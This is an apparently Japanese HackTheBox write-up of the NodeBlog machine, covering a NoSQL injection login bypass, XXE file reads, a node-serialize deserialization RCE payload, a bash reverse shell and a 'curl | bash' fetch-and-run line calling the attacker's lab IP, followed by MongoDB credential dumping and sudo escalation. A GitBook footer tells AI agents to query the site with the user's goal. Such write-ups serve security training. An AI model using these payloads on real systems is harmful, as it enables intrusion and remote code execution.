> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# NodeBlog HackTheBox攻略記事

NoSQLインジェクション（認証バイパス）、XXEによるファイル読み取り、NodeJSデシリアライズ攻撃（IIFE悪用）、Mongoデータベース列挙を扱うNodeBlog HackTheBox Easy Linuxマシンの攻略記事。実践的

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**スキル:**

* NoSQLインジェクション（認証バイパス）
* XXEによるファイル読み取り
* NodeJSデシリアライゼーション攻撃（IIFE悪用）
* Mongoデータベース列挙
  {% endhint %}

## 偵察

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37c0d9ff81cbbbabf5497b0c9df2c13ee3af4ac%2Fimage%20(2881).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f41680318d94ca2816f02407e888b92d9f25445d%2Fimage%20(2882).png?alt=media" alt=""><figcaption></figcaption></figure>

Nmapによるポート/バージョンスキャン 22.5000

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9802aba7edc682744d4f34f043ded383ecb08ef2%2Fimage%20(2883).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート5000の分析 - NodeJSアプリケーション

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5962fd41a6c913ad5944708e4743c06553f974c4%2Fimage%20(2884).png?alt=media" alt=""><figcaption></figcaption></figure>

* 管理パネルが見つかる。
* その `admin` ユーザーは有効です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-827022d04c8924e51804d0cff563cdccb6feb6ba%2Fimage%20(2885).png?alt=media" alt=""><figcaption></figcaption></figure>

## NoSQLインジェクションの脆弱性（認証バイパス）

Burp Suiteでリクエストを傍受する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1333ce96e08258f5f54703a0b6cae6321a51803%2Fimage%20(2886).png?alt=media" alt=""><figcaption></figcaption></figure>

典型的なインジェクションペイロードを試す:

```bash
username=admin&password[$ne]=toto
```

これは動作しない。

JSONに変換し、次を変更する `Content-Type` に `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

結果: 認証成功！

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-867df5221d68233f84b2b1a085c45d568fdd5ef7%2Fimage%20(2887).png?alt=media" alt=""><figcaption></figcaption></figure>

## XXEインジェクション脆弱性の悪用

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80af2ea4ce0941d799be213686d7be7e92eec4da%2Fimage%20(2888).png?alt=media" alt=""><figcaption></figcaption></figure>

TXTファイルのアップロード: 拒否、XMLファイルのみ受け付けられる。

```
こんにちは、これはテストです
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f53bbf8cdb2e0ab761903fe128265bc6a644f0a%2Fimage%20(2889).png?alt=media" alt=""><figcaption></figcaption></figure>

必要な形式：

```xml
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>Example Markdown</markdown>
</post>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bafd4b72dc94415155bebd1c91033704f8b182%2Fimage%20(2890).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea4846c5186c1369109a1ac673b8776d5f54248f%2Fimage%20(2892).png?alt=media" alt=""><figcaption></figcaption></figure>

読み取り用の外部実体を含むXMLファイルを送信する `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>&xxe;</markdown>
</post>
```

結果: ～の内容が `/etc/passwd` 表示される。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a1b719db00f4a7f3fcde233e3f8f67a12e1feaf%2Fimage%20(2893).png?alt=media" alt=""><figcaption></figcaption></figure>

* ユーザーの発見 `admin`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64202dc5277cc5b218c1e77460bfca4982e2a839%2Fimage%20(2894).png?alt=media" alt=""><figcaption></figcaption></figure>

読み取るためのインジェクション `/opt/blog/server.js` および保存された認証情報を特定する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd69d9c7adcc3b5523ce0077713d0fe87e6d9e80%2Fimage%20(2895).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e6a5388312c3aae7c67bd6e2a8570f01c8578%2Fimage%20(2896).png?alt=media" alt=""><figcaption></figcaption></figure>

## NodeJSデシリアライゼーションを悪用する

* セッションクッキーをデシリアライズする関数を発見。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2f915aa429e18b3c30348763cee1174ee7b0ed%2Fimage%20(2897).png?alt=media" alt=""><figcaption></figcaption></figure></div>

ペイロードの作成:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

ICMPトラフィックを以下で監視する:

```bash
tcpdump -i tun0 icmp -n
```

* URLエンコード:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f480cfb0cc159cd0950d7da9bb76c1261ba912%2F%7BBAFDCE09-9711-4185-BB24-4A0E4DAC5F49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

URLエンコードとクッキーへの注入によるRCEの構築。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f7d457a0c99906352591228b261120bb46f3b4%2Fimage%20(2899).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c684d467429d0754df6691b4af413cb2371272a8%2Fimage%20(2900).png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE - デシリアライゼーションの脆弱性（NodeJS）

～を作成する `index.html` リバースシェルスクリプト:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

HTTPサーバーを起動する:

```bash
python3 -m http.server 80
```

待機中:

```bash
nc -nlvp 443
```

#### ペイロードを送信する:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* URLエンコード:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

結果: シェルアクセスを取得。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c772ca0a204fd7778d0a4b079c503518620f7d15%2F%7BCB6EA705-F2D9-4542-971F-3B1D69444078%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af62d3af8110eacc95d0d495f96da394c557f75%2F%7BFACA0D49-E8B1-4BC8-9B44-700ECB4257D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

### Mongoデータベース列挙

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

MongoDBデータベースへの接続（ポート27017が開いている）:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* ユーザー: admin
* password : IppsecSaysPleaseSubscribe

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### sudo（ALL:ALL）

sudo権限を確認中:

```bash
sudo -l
```

結果: 管理者ユーザーは実行できる `sudo su` パスワードなしで。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-958a73dfe7eceb591e0cbc1c5b88c636126bc91c%2F%7B2821239A-231F-4C9C-AA64-355C2E6C41C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

rootへの昇格:

```bash
sudo su
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dbad48ebbaab123f06af4cdd78dcb938bd8a022%2F%7BAB86238C-A02B-4D9F-994E-B6A19AF2CB61%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f804261d599f2829475d34d78c48af558c174fb8%2F%7B0F6DAC41-586A-43A2-9397-BD19E9AE9317%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da24b25faa9c14c66547beb0056c61ed9494f1e2%2F%7B69843223-DFF0-46EB-B85C-B1E9FB04275A%7D.png?alt=media" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
